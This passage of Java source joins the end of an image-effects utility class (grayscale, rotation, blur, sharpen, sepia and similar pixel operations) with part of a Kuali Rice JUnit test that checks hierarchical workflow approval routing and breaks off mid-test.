* This method will change the hue of the image.
* This method is using HSL (Hue-Saturation-Lightness) color model.
*
* @param img The image pixels to change.
* @param hue The hue value to set in degree [0-360]
*/
public static void HSL_changeImageHue(MyImage img, double hue){
for(int y = 0; y < img.getImageHeight(); y++){
for(int x = 0; x < img.getImageWidth(); x++){
img.HSL_setHue(x, y, hue);
}
}
}
/**
* This method will change the saturation of the image.
* This method is using HSL (Hue-Saturation-Lightness) color model.
*
* @param img The image pixels to change.
* @param saturation The saturation value [0-1]
*/
public static void HSL_changeImageSaturation(MyImage img, double saturation){
for(int y = 0; y < img.getImageHeight(); y++){
for(int x = 0; x < img.getImageWidth(); x++){
img.HSL_setSaturation(x, y, saturation);
}
}
}
/**
* This method will change the value of the image.
* This method is using HSL (Hue-Saturation-Lightness) color model.
*
* @param img The image pixels to change.
* @param lightness The lightness [0-1]
*/
public static void HSL_changeImageLightness(MyImage img, double lightness){
for(int y = 0; y < img.getImageHeight(); y++){
for(int x = 0; x < img.getImageWidth(); x++){
img.HSL_setLightness(x, y, lightness);
}
}
}
//////////////////////////// Rotation and Flip Methods /////////////////////
/**
* This method will rotate the image left.
*
* @param img The image to rotate.
*/
public static void rotateLeft(MyImage img){
BufferedImage bi = new BufferedImage(img.getImageHeight(), img.getImageWidth(), BufferedImage.TYPE_INT_ARGB);
for(int sx = img.getImageWidth()-1, y = 0; sx >= 0; sx--, y++){
for(int sy = 0, x = 0; sy < img.getImageHeight(); sy++, x++){
bi.setRGB(x, y, img.getPixel(sx, sy));
}
}
img.modifyImageObject(img.getImageHeight(), img.getImageWidth(), bi);
}
/**
* This method will rotate the image right.
*
* @param img The image to rotate.
*/
public static void rotateRight(MyImage img){
BufferedImage bi = new BufferedImage(img.getImageHeight(), img.getImageWidth(), BufferedImage.TYPE_INT_ARGB);
for(int sx = 0, y = 0; sx < img.getImageWidth(); sx++, y++){
for(int sy = img.getImageHeight()-1 , x = 0; sy >= 0; sy--, x++){
bi.setRGB(x, y, img.getPixel(sx, sy));
}
}
img.modifyImageObject(img.getImageHeight(), img.getImageWidth(), bi);
}
/**
* This method will flip the image horizontally.
*
* @param img The image to be flipped horizontally.
*/
public static void flipHorizontal(MyImage img){
for(int xi = 0, xj = img.getImageWidth() - 1 ; xi < xj; xi++, xj--){
for(int y = 0; y < img.getImageHeight(); y++){
int t = img.getPixel(xi, y);
img.setPixelToValue(xi, y, img.getPixel(xj, y));
img.setPixelToValue(xj, y, t);
}
}
}
/**
* This method will flip the image vertically.
*
* @param img The image to be flipped vertically.
*/
public static void flipVertical(MyImage img){
for(int yi = 0, yj = img.getImageHeight() - 1 ; yi < yj; yi++, yj--){
for(int x = 0; x < img.getImageWidth(); x++){
int t = img.getPixel(x, yi);
img.setPixelToValue(x, yi, img.getPixel(x, yj));
img.setPixelToValue(x, yj, t);
}
}
}
/////////////////////////////// Transparency Methods ///////////////////////
/**
* This method will change the transparency (alpha) of all the pixels of the image.
* Works well with .png files.
*
* @param img The image pixels to change.
* @param alpha The alpha value [0-255] to set in each pixels of the image.
*/
public static void transparentAllPixels(MyImage img, int alpha){
for(int y = 0; y < img.getImageHeight(); y++){
for(int x = 0; x < img.getImageWidth(); x++){
img.setAlpha(x, y, alpha);
}
}
}
/**
* This method will change the transparency (alpha) of those pixels which have
* alpha value greater than 0.
* Works well with .png files.
*
* @param img The image pixels to change.
* @param alpha The alpha value [0-255] to set in each pixels of the image.
*/
public static void transparentAlphaPixels(MyImage img, int alpha){
for(int y = 0; y < img.getImageHeight(); y++){
for(int x = 0; x < img.getImageWidth(); x++){
if(img.getAlpha(x, y) > 0){
img.setAlpha(x, y, alpha);
}
}
}
}
////////////////////////////// Grayscale Methods ///////////////////////////
/**
* This method will turn color image to gray scale image.
* It will set the RGB value of the pixel to (R+G+B)/3
*
* @param img The image pixels to change.
*/
public static void grayScale_Average(MyImage img){
for(int y = 0; y < img.getImageHeight(); y++){
for(int x = 0; x < img.getImageWidth(); x++){
int a = img.getAlpha(x, y);
int r = img.getRed(x, y);
int g = img.getGreen(x, y);
int b = img.getBlue(x, y);
int grayscale = (r+g+b)/3;
img.setPixel(x, y, a, grayscale, grayscale, grayscale);
}
}
}
/**
* This method will turn color image to gray scale image.
* In this method GrayScale = (max(R, G, B) + min(R, G, B)) / 2.
*
* @param img The image pixels to change.
*/
public static void grayScale_Lightness(MyImage img){
for(int y = 0; y < img.getImageHeight(); y++){
for(int x = 0; x < img.getImageWidth(); x++){
int a = img.getAlpha(x, y);
int r = img.getRed(x, y);
int g = img.getGreen(x, y);
int b = img.getBlue(x, y);
int max = Math.max(Math.max(r, g), b);
int min = Math.min(Math.min(r, g), b);
int grayscale = (max+min)/2;
img.setPixel(x, y, a, grayscale, grayscale, grayscale);
}
}
}
/**
* This method will turn color image to gray scale image.
* This method uses the formula GrayScale = 0.2126*R + 0.7152*G + 0.0722*B
*
* @param img The image pixels to change.
*/
public static void grayScale_Luminosity(MyImage img){
for(int y = 0; y < img.getImageHeight(); y++){
for(int x = 0; x < img.getImageWidth(); x++){
int a = img.getAlpha(x, y);
int r = img.getRed(x, y);
int g = img.getGreen(x, y);
int b = img.getBlue(x, y);
int grayscale = (int)(0.2126*r + 0.7152*g + 0.0722*b);
img.setPixel(x, y, a, grayscale, grayscale, grayscale);
}
}
}
/**
* This method will turn color image to gray scale image.
* It will set the RGB value of the pixel to red value of the pixel.
*
* @param img The image pixels to change.
*/
public static void grayScale_setRGBValueToRedValue(MyImage img){
for(int y = 0; y < img.getImageHeight(); y++){
for(int x = 0; x < img.getImageWidth(); x++){
int a = img.getAlpha(x, y);
int r = img.getRed(x, y);
img.setPixel(x, y, a, r, r, r);
}
}
}
/**
* This method will turn color image to gray scale image.
* It will set the RGB value of the pixel to green value of the pixel.
*
* @param img The image pixels to change.
*/
public static void grayScale_setRGBValueToGreenValue(MyImage img){
for(int y = 0; y < img.getImageHeight(); y++){
for(int x = 0; x < img.getImageWidth(); x++){
int a = img.getAlpha(x, y);
int g = img.getGreen(x, y);
img.setPixel(x, y, a, g, g, g);
}
}
}
/**
* This method will turn color image to gray scale image.
* It will set the RGB value of the pixel to blue value of the pixel.
*
* @param img The image pixels to change.
*/
public static void grayScale_setRGBValueToBlueValue(MyImage img){
for(int y = 0; y < img.getImageHeight(); y++){
for(int x = 0; x < img.getImageWidth(); x++){
int a = img.getAlpha(x, y);
int b = img.getBlue(x, y);
img.setPixel(x, y, a, b, b, b);
}
}
}
//////////////////////////////// Image Methods /////////////////////////////
/**
* This method will create a random image.
*
* @param img The image object that will hold the random image.
*/
public static void createRandomImage(MyImage img){
for(int y = 0; y < img.getImageHeight(); y++){
for(int x = 0; x < img.getImageWidth(); x++){
int a = (int)(Math.random()*256);
int r = (int)(Math.random()*256);
int g = (int)(Math.random()*256);
int b = (int)(Math.random()*256);
img.setPixel(x, y, a, r, g, b);
}
}
}
/**
* This method will color the entire image with a given color.
*
* @param img The image object.
* @param color The color value.
*/
public static void createColorImage(MyImage img, int color){
for(int y = 0; y < img.getImageHeight(); y++){
for(int x = 0; x < img.getImageWidth(); x++){
img.setPixelToValue(x, y, color);
}
}
}
/**
* This method will crop the image img.
*
* @param img The image to crop.
* @param x The x coordinate from where cropping will start.
* @param y The y coordinate from where cropping will start.
* @param width The width of the new cropped image.
* @param height The height of the new cropped image.
*/
public static void crop(MyImage img, int x, int y, int width, int height){
BufferedImage bi = new BufferedImage(width, height, BufferedImage.TYPE_INT_ARGB);
for(int sy = y, j = 0; sy < y+height; sy++, j++){
for(int sx = x, i = 0; sx < x+width; sx++, i++){
bi.setRGB(i, j, img.getPixel(sx, sy));
}
}
img.modifyImageObject(width, height, bi);
}
/**
* This method will generate the negative of an image.
*
* @param img The image whose negative is generated.
*/
public static void negative(MyImage img){
for(int y = 0; y < img.getImageHeight(); y++){
for(int x = 0; x < img.getImageWidth(); x++){
int a = img.getAlpha(x, y);
int r = 255 - img.getRed(x, y);
int g = 255 - img.getGreen(x, y);
int b = 255 - img.getBlue(x, y);
img.setPixel(x, y, a, r, g, b);
}
}
}
/**
* This method will create sepia tone.
*
* @param img The image pixels to change.
*/
public static void sepiaTone(MyImage img){
for(int y = 0; y < img.getImageHeight(); y++){
for(int x = 0; x < img.getImageWidth(); x++){
int a = img.getAlpha(x, y);
int r = img.getRed(x, y);
int g = img.getGreen(x, y);
int b = img.getBlue(x, y);
int tr = (int)(0.393*r + 0.769*g + 0.189*b);
int tg = (int)(0.349*r + 0.686*g + 0.168*b);
int tb = (int)(0.272*r + 0.534*g + 0.131*b);
r = (tr>255)?255:tr;
g = (tg>255)?255:tg;
b = (tb>255)?255:tb;
img.setPixel(x, y, a, r, g, b);
}
}
}
/**
* This method will pixelate the image.
*
* @param img The image that is pixelated.
* @param maskSize The size of the mask used to perform pixelation. Mask will be in square shape.
*/
public static void pixelation(MyImage img, int maskSize){
for(int y = 0; y < img.getImageHeight(); y += maskSize){
for(int x = 0; x < img.getImageWidth(); x += maskSize){
int rgb[] = new int[3], count = 0;
for(int yi = 0; yi < maskSize && y+yi < img.getImageHeight(); yi++){
for(int xi = 0; xi < maskSize && x+xi < img.getImageWidth(); xi++){
rgb[0] += img.getRed(x+xi, y+yi);
rgb[1] += img.getGreen(x+xi, y+yi);
rgb[2] += img.getBlue(x+xi, y+yi);
count++;
}
}
int avg[] = new int[3];
avg[0] = rgb[0]/count;
avg[1] = rgb[1]/count;
avg[2] = rgb[2]/count;
for(int yi = 0; yi < maskSize && y+yi < img.getImageHeight(); yi++){
for(int xi = 0; xi < maskSize && x+xi < img.getImageWidth(); xi++){
img.setPixel(x+xi, y+yi, 255, avg[0], avg[1], avg[2]);
}
}
}
}
}
/**
* This method will turn color image to red image.
*
* @param img The image pixels to change.
*/
public static void redImage(MyImage img){
for(int y = 0; y < img.getImageHeight(); y++){
for(int x = 0; x < img.getImageWidth(); x++){
int a = img.getAlpha(x, y);
int r = img.getRed(x, y);
img.setPixel(x, y, a, r, 0, 0);
}
}
}
/**
* This method will turn color image to green image.
*
* @param img The image pixels to change.
*/
public static void greenImage(MyImage img){
for(int y = 0; y < img.getImageHeight(); y++){
for(int x = 0; x < img.getImageWidth(); x++){
int a = img.getAlpha(x, y);
int g = img.getGreen(x, y);
img.setPixel(x, y, a, 0, g, 0);
}
}
}
/**
* This method will turn color image to blue image.
*
* @param img The image pixels to change.
*/
public static void blueImage(MyImage img){
for(int y = 0; y < img.getImageHeight(); y++){
for(int x = 0; x < img.getImageWidth(); x++){
int a = img.getAlpha(x, y);
int b = img.getBlue(x, y);
img.setPixel(x, y, a, 0, 0, b);
}
}
}
/**
* This method will change the red value of the image.
*
* @param img The image pixels to change.
* @param red The red value to set. [0-255]
*/
public static void changeImageRedValue(MyImage img, int red){
for(int y = 0; y < img.getImageHeight(); y++){
for(int x = 0; x < img.getImageWidth(); x++){
int a = img.getAlpha(x, y);
int g = img.getGreen(x, y);
int b = img.getBlue(x, y);
img.setPixel(x, y, a, red, g, b);
}
}
}
/**
* This method will change the green value of the image.
*
* @param img The image pixels to change.
* @param green The green value to set. [0-255]
*/
public static void changeImageGreenValue(MyImage img, int green){
for(int y = 0; y < img.getImageHeight(); y++){
for(int x = 0; x < img.getImageWidth(); x++){
int a = img.getAlpha(x, y);
int r = img.getRed(x, y);
int b = img.getBlue(x, y);
img.setPixel(x, y, a, r, green, b);
}
}
}
/**
* This method will change the blue value of the image.
*
* @param img The image pixels to change.
* @param blue The blue value to set. [0-255]
*/
public static void changeImageBlueValue(MyImage img, int blue){
for(int y = 0; y < img.getImageHeight(); y++){
for(int x = 0; x < img.getImageWidth(); x++){
int a = img.getAlpha(x, y);
int r = img.getRed(x, y);
int g = img.getGreen(x, y);
img.setPixel(x, y, a, r, g, blue);
}
}
}
////////////////////////////////// CONTRAST METHOD /////////////////////////
/**
* This method will contrast the image.
*
* @param img The image to sharpen.
*/
public static void contrast(MyImage img){
for(int y = 0; y < img.getImageHeight(); y++){
for(int x = 0; x < img.getImageWidth(); x++){
int a = img.getAlpha(x, y);
int r = img.getRed(x, y);
int g = img.getGreen(x, y);
int b = img.getBlue(x, y);
r = (r>128)?(int)(r*1.2):(int)(r/1.2);
g = (g>128)?(int)(g*1.2):(int)(g/1.2);
b = (b>128)?(int)(b*1.2):(int)(b/1.2);
img.setPixel(x, y, a, r, g, b);
}
}
}
////////////////////////////////// SHARPEN METHOD //////////////////////////
/**
* This method will sharpen the image.
*
* @param img The image to sharpen.
*/
public static void sharpen(MyImage img){
/**
* Mask is a 2D square of odd size like 3x3
* For simplicity storing it into 1D array.
*/
int mask[] = new int[]{ 0, -1, 0,
-1, 5, -1,
0, -1, 0};
int maskSize = 3; //The width of the mask.
/**
* Buffered array of pixels holds the intermediate value of pixels that
* is multiplied with the mask to get the final value for the center
* pixel under the mask.
*/
int buff[];
/**
* This array will store the output of the sharpen operation which will
* be later written back to the original image pixels.
*/
int outputPixels[] = new int[img.getImageTotalPixels()];
//image dimension
int width = img.getImageWidth();
int height = img.getImageHeight();
/** Sharpen operation */
for(int y = 0; y < height; y++){
for(int x = 0; x < width; x++){
/** Fill buff array */
int i = 0;
buff = new int[9];
for(int r = y - (maskSize / 2); r <= y + (maskSize / 2); r++){
for(int c = x - (maskSize / 2); c <= x + (maskSize / 2); c++){
if(r < 0 || r >= height || c < 0 || c >= width){
/** Some portion of the mask is outside the image. */
buff[i] = 0;
}else{
buff[i] = img.getPixel(c, r);
}
i++;
}
}
/** Multiply mask with buff array to get the final value. */
int sa=0, sr=0, sg=0, sb=0;
for(i = 0; i < 9; i++){
sa += mask[i]*getAlphaValueFromPixelValue(buff[i]);
sr += mask[i]*getRedValueFromPixelValue(buff[i]);
sg += mask[i]*getGreenValueFromPixelValue(buff[i]);
sb += mask[i]*getBlueValueFromPixelValue(buff[i]);
}
/** Save result in outputPixels array. */
int p = getPixelValueFromARGBValue(sa,sr,sg,sb);
outputPixels[x+y*width] = p;
}
}
/** Write the output pixels to the image pixels */
for(int y = 0; y < height; y++){
for(int x = 0; x < width; x++){
img.setPixelToValue(x, y, outputPixels[x+y*width]);
}
}
}
/////////////////////////////// BLUR METHODS ///////////////////////////////
/**
* This method will blur the image using
* mask=[1/9, 1/9, 1/9,
* 1/9, 1/9, 1/9,
* 1/9, 1/9, 1/9]
*
* @param img The image to blur.
*/
public static void blur_D9(MyImage img){
int maskSize = 3; //The width of the mask.
/**
* Buffered array of pixels holds the intermediate value of pixels that
* is multiplied with the mask to get the final value for the center
* pixel under the mask.
*/
int buff[];
/**
* This array will store the output of the blur operation which will
* be later written back to the original image pixels.
*/
int outputPixels[] = new int[img.getImageTotalPixels()];
//image dimension
int width = img.getImageWidth();
int height = img.getImageHeight();
/** Sharpen operation */
for(int y = 0; y < height; y++){
for(int x = 0; x < width; x++){
/** Fill buff array */
int i = 0;
buff = new int[9];
for(int r = y - (maskSize / 2); r <= y + (maskSize / 2); r++){
for(int c = x - (maskSize / 2); c <= x + (maskSize / 2); c++){
if(r < 0 || r >= height || c < 0 || c >= width){
/** Some portion of the mask is outside the image. */
buff[i] = 0;
}else{
buff[i] = img.getPixel(c, r);
}
i++;
}
}
/** Multiply mask with buff array to get the final value. */
int sa=0, sr=0, sg=0, sb=0;
for(i = 0; i < 9; i++){
sa += getAlphaValueFromPixelValue(buff[i])/9;
sr += getRedValueFromPixelValue(buff[i])/9;
sg += getGreenValueFromPixelValue(buff[i])/9;
sb += getBlueValueFromPixelValue(buff[i])/9;
}
/** Save result in outputPixels array. */
int p = getPixelValueFromARGBValue(sa, sr, sg, sb);
outputPixels[x+y*width] = p;
}
}
/** Write the output pixels to the image pixels */
for(int y = 0; y < height; y++){
for(int x = 0; x < width; x++){
img.setPixelToValue(x, y, outputPixels[x+y*width]);
}
}
}
/**
* This method will blur the image using
* mask[1/16, 2/16, 1/16,
* 2/16, 4/16, 2/16,
* 1/16, 2/16, 1/16]
*
* @param img The image to blur.
*/
public static void blur_D16(MyImage img){
/**
* Mask is a 2D square of odd size like 3x3
* For simplicity storing it into 1D array.
*/
int mask[] = new int[]{ 1, 2, 1,
2, 4, 2,
1, 2, 1};
int maskSize = 3; //The width of the mask.
/**
* Buffered array of pixels holds the intermediate value of pixels that
* is multiplied with the mask to get the final value for the center
* pixel under the mask.
*/
int buff[];
/**
* This array will store the output of the blur operation which will
* be later written back to the original image pixels.
*/
int outputPixels[] = new int[img.getImageTotalPixels()];
//image dimension
int width = img.getImageWidth();
int height= img.getImageHeight();
/** Sharpen operation */
for(int y = 0; y < height; y++){
for(int x = 0; x < width; x++){
/** Fill buff array */
int i = 0;
buff = new int[9];
for(int r = y - (maskSize / 2); r <= y + (maskSize / 2); r++){
for(int c = x - (maskSize / 2); c <= x + (maskSize / 2); c++){
if(r < 0 || r >= height || c < 0 || c >= width){
/** Some portion of the mask is outside the image. */
buff[i] = 0;
}else{
buff[i] = img.getPixel(c, r);
}
i++;
}
}
/** Multiply mask with buff array to get the final value. */
int sa=0, sr=0, sg=0, sb=0;
for(i = 0; i < 9; i++){
sa += (mask[i]*getAlphaValueFromPixelValue(buff[i]))/16;
sr += (mask[i]*getRedValueFromPixelValue(buff[i]))/16;
sg += (mask[i]*getGreenValueFromPixelValue(buff[i]))/16;
sb += (mask[i]*getBlueValueFromPixelValue(buff[i]))/16;
}
/** Save result in outputPixels array. */
int p = getPixelValueFromARGBValue(sa, sr, sg, sb);
outputPixels[x+y*width] = p;
}
}
/** Write the output pixels to the image pixels */
for(int y = 0; y < height; y++){
for(int x = 0; x < width; x++){
img.setPixelToValue(x, y, outputPixels[x+y*width]);
}
}
}
}//class ImageFX ends here
| |
/**
* Copyright 2005-2011 The Kuali Foundation
*
* Licensed under the Educational Community License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.opensource.org/licenses/ecl2.php
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.kuali.rice.kew.engine.node.hierarchyrouting;
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertNotNull;
import static org.junit.Assert.assertNull;
import static org.junit.Assert.assertTrue;
import java.io.StringReader;
import java.util.List;
import javax.xml.parsers.DocumentBuilderFactory;
import org.junit.Test;
import org.kuali.rice.kew.api.WorkflowDocument;
import org.kuali.rice.kew.api.WorkflowDocumentFactory;
import org.kuali.rice.kew.api.exception.WorkflowException;
import org.kuali.rice.kew.engine.node.hierarchyrouting.HierarchyProvider.Stop;
import org.kuali.rice.kew.engine.node.hierarchyrouting.SimpleHierarchyProvider.SimpleStop;
import org.kuali.rice.kew.service.KEWServiceLocator;
import org.kuali.rice.kew.test.KEWTestCase;
import org.kuali.rice.kew.test.TestUtilities;
import org.w3c.dom.Document;
import org.xml.sax.InputSource;
/**
* Tests HeirarchyRoutingNode
* @author Kuali Rice Team (rice.collab@kuali.org)
*
*/
public class HierarchyRoutingNodeTest extends KEWTestCase {
private static final String HIERARCHY =
"<stop id=\"root\" type=\"user\" recipient=\"dewey\">" +
"<stop id=\"child1\" type=\"user\" recipient=\"user3\">" +
"<stop id=\"child1-1\" type=\"user\" recipient=\"user2\"/>" +
"<stop id=\"child1-2\" type=\"user\" recipient=\"user1\"/>" +
"</stop>" +
"<stop id=\"child2\" type=\"user\" recipient=\"quickstart\">" +
"<stop id=\"child2-1\" type=\"user\" recipient=\"temay\"/>" +
"<stop id=\"child2-2\" type=\"user\" recipient=\"jhopf\"/>" +
"</stop>" +
"</stop>";
private static final String HIERARCHY_UPDATED =
"<stop id=\"root\" type=\"user\" recipient=\"dewey\">" +
"<stop id=\"child1\" type=\"user\" recipient=\"user3\">" +
"<stop id=\"child1-1\" type=\"user\" recipient=\"user2\"/>" +
"<stop id=\"child1-2\" type=\"user\" recipient=\"user1\"/>" +
"<stop id=\"child1-3\" type=\"user\" recipient=\"delyea\"/>" +
"</stop>" +
"<stop id=\"child2\" type=\"user\" recipient=\"quickstart\">" +
"<stop id=\"child2-1\" type=\"user\" recipient=\"temay\"/>" +
"<stop id=\"child2-2\" type=\"user\" recipient=\"jhopf\"/>" +
"<stop id=\"child2-3\" type=\"user\" recipient=\"pzhang\"/>" +
"</stop>" +
"<stop id=\"child3\" type=\"user\" recipient=\"shenl\"/>" +
"</stop>";
protected void assertStop(HierarchyProvider provider, String name, String parentName, String[] childNames) {
Stop stop = provider.getStopByIdentifier(name);
assertNotNull(stop);
if (parentName == null) {
assertNull(provider.getParent(stop));
} else {
Stop parent = provider.getStopByIdentifier(parentName);
assertNotNull(parent);
assertEquals(parent, ((SimpleStop) stop).parent);
}
assertEquals(childNames.length, ((SimpleStop) stop).children.size());
List<SimpleStop> children = ((SimpleStop) stop).children;
for (String childName: childNames) {
Stop child = provider.getStopByIdentifier(childName);
assertTrue(children.contains(child));
}
}
@Test
public void testParseHierarchy() throws Exception {
Document doc = DocumentBuilderFactory.newInstance().newDocumentBuilder().parse(new InputSource(new StringReader(HIERARCHY)));
SimpleHierarchyProvider provider = new SimpleHierarchyProvider();
provider.init(doc.getDocumentElement());
assertStop(provider, "root", null, new String[] { "child1", "child2" });
assertStop(provider, "child1", "root", new String[] { "child1-1", "child1-2" });
assertStop(provider, "child1-1", "child1", new String[] { });
assertStop(provider, "child1-2", "child1", new String[] { });
assertStop(provider, "child2", "root", new String[] { "child2-1", "child2-2" });
assertStop(provider, "child2-1", "child2", new String[] { });
assertStop(provider, "child2-2", "child2", new String[] { });
List<Stop> leaves = provider.getLeafStops(null);
assertEquals(4, leaves.size());
assertTrue(leaves.contains(provider.getStopByIdentifier("child1-1")));
assertTrue(leaves.contains(provider.getStopByIdentifier("child1-2")));
assertTrue(leaves.contains(provider.getStopByIdentifier("child2-1")));
assertTrue(leaves.contains(provider.getStopByIdentifier("child2-2")));
}
@Test
public void testHierarchyRoutingNode() throws WorkflowException {
loadXmlFile("HierarchyRoutingNodeConfig.xml");
WorkflowDocument doc = WorkflowDocumentFactory.createDocument(getPrincipalIdForName("arh14"), "HierarchyDocType");
doc.setApplicationContent(HIERARCHY);
doc.route("initial route");
TestUtilities.assertApprovals(doc.getDocumentId(), new String[] { "user2", "user1", "temay", "jhopf" }, true);
TestUtilities.assertApprovals(doc.getDocumentId(), new String[] { "user3", "quickstart", "dewey" }, false);
doc = WorkflowDocumentFactory.loadDocument(getPrincipalIdForName("user2"), doc.getDocumentId());
doc.approve("approving as user2");
TestUtilities.assertApprovals(doc.getDocumentId(), new String[] { "user1", "temay", "jhopf" }, true);
TestUtilities.assertApprovals(doc.getDocumentId(), new String[] { "user2", "user3", "quickstart", "dewey" }, false);
doc = WorkflowDocumentFactory.loadDocument(getPrincipalIdForName("jhopf"), doc.getDocumentId());
doc.approve("approving as jhopf");
TestUtilities.assertApprovals(doc.getDocumentId(), new String[] { "user1", "temay" }, true);
TestUtilities.assertApprovals(doc.getDocumentId(), new String[] { "jhopf", "user2", "user3", "quickstart", "dewey" }, false);
doc = WorkflowDocumentFactory.loadDocument(getPrincipalIdForName("user1"), doc.getDocumentId());
doc.approve("approving as user1");
TestUtilities.assertApprovals(doc.getDocumentId(), new String[] { "user3", "temay" }, true);
TestUtilities.assertApprovals(doc.getDocumentId(), new String[] { "user1", "jhopf", "user2", "quickstart", "dewey" }, false);
doc = WorkflowDocumentFactory.loadDocument(getPrincipalIdForName("temay"), doc.getDocumentId());
doc.approve("approving as temay");
TestUtilities.assertApprovals(doc.getDocumentId(), new String[] { "user3", "quickstart" }, true);
TestUtilities.assertApprovals(doc.getDocumentId(), new String[] { "temay", "user1", "jhopf", "user2", "dewey" }, false);
doc = WorkflowDocumentFactory.loadDocument(getPrincipalIdForName("user3"), doc.getDocumentId());
doc.approve("approving as user3");
TestUtilities.assertApprovals(doc.getDocumentId(), new String[] { "quickstart" }, true);
TestUtilities.assertApprovals(doc.getDocumentId(), new String[] { "user3", "temay", "user1", "jhopf", "user2", "dewey" }, false);
doc = WorkflowDocumentFactory.loadDocument(getPrincipalIdForName("quickstart"), doc.getDocumentId());
doc.approve("approving as quickstart");
TestUtilities.assertApprovals(doc.getDocumentId(), new String[] { "dewey" }, true);
TestUtilities.assertApprovals(doc.getDocumentId(), new String[] { "user3", "temay", "user1", "jhopf", "user2", "quickstart" }, false);
doc = WorkflowDocumentFactory.loadDocument(getPrincipalIdForName("dewey"), doc.getDocumentId());
doc.approve("approving as dewey");
TestUtilities.assertApprovals(doc.getDocumentId(), new String[] { "dewey", "user3", "temay", "user1", "jhopf", "user2", "quickstart" }, false);
assertTrue(doc.isFinal());
}
@Test
public void testHierarchyRoutingNodeUnevenApproval() throws WorkflowException {
loadXmlFile("HierarchyRoutingNodeConfig.xml");
WorkflowDocument doc = WorkflowDocumentFactory.createDocument(getPrincipalIdForName("arh14"), "HierarchyDocType");
doc.setApplicationContent(HIERARCHY);
doc.route("initial route");
TestUtilities.assertApprovals(doc.getDocumentId(), new String[] { "user2", "user1", "temay", "jhopf" }, true);
TestUtilities.assertApprovals(doc.getDocumentId(), new String[] { "user3", "quickstart", "dewey" }, false);
doc = WorkflowDocumentFactory.loadDocument(getPrincipalIdForName("user2"), doc.getDocumentId());
doc.approve("approving as user2");
TestUtilities.assertApprovals(doc.getDocumentId(), new String[] { "user1", "temay", "jhopf" }, true);
TestUtilities.assertApprovals(doc.getDocumentId(), new String[] { "user2", "user3", "quickstart", "dewey" }, false);
doc = WorkflowDocumentFactory.loadDocument(getPrincipalIdForName("jhopf"), doc.getDocumentId());
doc.approve("approving as jhopf");
TestUtilities.assertApprovals(doc.getDocumentId(), new String[] { "user1", "temay" }, true);
TestUtilities.assertApprovals(doc.getDocumentId(), new String[] { "jhopf", "user2", "user3", "quickstart", "dewey" }, false);
doc = WorkflowDocumentFactory.loadDocument(getPrincipalIdForName("user1"), doc.getDocumentId());
doc.approve("approving as user1");
TestUtilities.assertApprovals(doc.getDocumentId(), new String[] { "user3", "temay" }, true);
TestUtilities.assertApprovals(doc.getDocumentId(), new String[] { "user1", "jhopf", "user2", "quickstart", "dewey" }, false);
doc = WorkflowDocumentFactory.loadDocument(getPrincipalIdForName("user3"), doc.getDocumentId());
doc.approve("approving as user3");
TestUtilities.assertApprovals(doc.getDocumentId(), new String[] { "temay" }, true);
TestUtilities.assertApprovals(doc.getDocumentId(), new String[] { "user3", "user1", "jhopf", "user2", "dewey" }, false);
doc = WorkflowDocumentFactory.loadDocument(getPrincipalIdForName("temay"), doc.getDocumentId());
doc.approve("approving as temay");
TestUtilities.assertApprovals(doc.getDocumentId(), new String[] { "quickstart" }, true);
TestUtilities.assertApprovals(doc.getDocumentId(), new String[] { "user3", "temay", "user1", "jhopf", "user2", "dewey" }, false);
doc = WorkflowDocumentFactory.loadDocument(getPrincipalIdForName("quickstart"), doc.getDocumentId());
doc.approve("approving as quickstart");
TestUtilities.assertApprovals(doc.getDocumentId(), new String[] { "dewey" }, true);
TestUtilities.assertApprovals(doc.getDocumentId(), new String[] { "user3", "temay", "user1", "jhopf", "user2", "quickstart" }, false);
doc = WorkflowDocumentFactory.loadDocument(getPrincipalIdForName("dewey"), doc.getDocumentId());
doc.approve("approving as dewey");
TestUtilities.assertApprovals(doc.getDocumentId(), new String[] { "dewey", "user3", "temay", "user1", "jhopf", "user2", "quickstart" }, false);
assertTrue(doc.isFinal());
}
@Test
public void testHierarchyRoutingNodeUnevenApprovalExtraStops() throws WorkflowException {
loadXmlFile("HierarchyRoutingNodeConfig.xml");
WorkflowDocument doc = WorkflowDocumentFactory.createDocument(getPrincipalIdForName("arh14"), "HierarchyDocType");
doc.setApplicationContent(HIERARCHY);
doc.route("initial route");
TestUtilities.assertApprovals(doc.getDocumentId(), new String[] { "user2", "user1", "temay", "jhopf" }, true);
TestUtilities.assertApprovals(doc.getDocumentId(), new String[] { "user3", "quickstart", "dewey" }, false);
doc = WorkflowDocumentFactory.loadDocument(getPrincipalIdForName("user2"), doc.getDocumentId());
doc.approve("approving as user2");
TestUtilities.assertApprovals(doc.getDocumentId(), new String[] { "user1", "temay", "jhopf" }, true);
TestUtilities.assertApprovals(doc.getDocumentId(), new String[] { "user2", "user3", "quickstart", "dewey" }, false);
doc = WorkflowDocumentFactory.loadDocument(getPrincipalIdForName("jhopf"), doc.getDocumentId());
doc.approve("approving as jhopf");
TestUtilities.assertApprovals(doc.getDocumentId(), new String[] { "user1", "temay" }, true);
TestUtilities.assertApprovals(doc.getDocumentId(), new String[] { "jhopf", "user2", "user3", "quickstart", "dewey" }, false);
doc = WorkflowDocumentFactory.loadDocument(getPrincipalIdForName("user1"), doc.getDocumentId());
doc.setApplicationContent(HIERARCHY_UPDATED);
doc.approve("approving as user1");
TestUtilities.assertApprovals(doc.getDocumentId(), new String[] { "user3", "temay", "delyea", "pzhang", "shenl" }, true);
TestUtilities.assertApprovals(doc.getDocumentId(), new String[] { "user1", "jhopf", "user2", "quickstart", "dewey" }, false);
doc = WorkflowDocumentFactory.loadDocument(getPrincipalIdForName("user3"), doc.getDocumentId());
doc.approve("approving as user3");
TestUtilities.assertApprovals(doc.getDocumentId(), new String[] { "temay", "delyea", "pzhang", "shenl" }, true);
TestUtilities.assertApprovals(doc.getDocumentId(), new String[] { "user3", "user1", "jhopf", "user2", "dewey" }, false);
doc = WorkflowDocumentFactory.loadDocument(getPrincipalIdForName("temay"), doc.getDocumentId());
doc.approve("approving as temay");
TestUtilities.assertApprovals(doc.getDocumentId(), new String[] { "delyea", "pzhang", "shenl" }, true);
TestUtilities.assertApprovals(doc.getDocumentId(), new String[] { "user3", "temay", "user1", "jhopf", "user2", "dewey", "quickstart" }, false);
